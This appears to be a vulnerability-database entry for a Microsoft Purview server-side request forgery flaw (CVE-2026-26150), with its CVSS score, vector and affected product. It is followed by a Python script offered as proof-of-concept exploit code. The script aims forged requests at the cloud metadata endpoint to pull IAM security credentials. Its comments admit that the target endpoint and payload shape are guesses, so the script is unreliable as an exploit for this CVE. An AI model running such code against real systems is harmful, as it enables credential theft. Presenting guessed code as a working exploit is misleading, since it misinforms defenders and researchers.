Security Vulnerability Report
中文
CVE-2026-26150 CVSS 8.6 HIGH

CVE-2026-26150

Published: 2026-04-23 22:16:23
Last Modified: 2026-04-29 19:10:36

Description

Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score
8.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:purview_ediscovery:-:*:*:*:*:*:*:* - VULNERABLE
Microsoft Purview (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-26150 (Microsoft Purview SSRF) # This script demonstrates how to trigger the SSRF vulnerability. import requests import sys def exploit_ssrf(target_url, internal_url): """ Sends a malicious request to the target to force it to access the internal_url. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-26150-Scanner" } # Payload structure depends on the actual vulnerable API endpoint # Assuming a JSON structure based on common SSRF scenarios payload = { "target": internal_url, "options": {} } try: print(f"[*] Attempting to send SSRF request to {target_url}...") response = requests.post(target_url, json=payload, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f"[+] Request successful! Response length: {len(response.text)}") print(f"[+] Response content (first 200 bytes): {response.text[:200]}") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": # Example usage # Replace with actual target endpoint TARGET = "https://<purview-domain>/api/v1/scan" # Common internal metadata service to test for SSRF INTERNAL_PAYLOAD = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" exploit_ssrf(TARGET, INTERNAL_PAYLOAD)

References

Raw JSON Data

JSON
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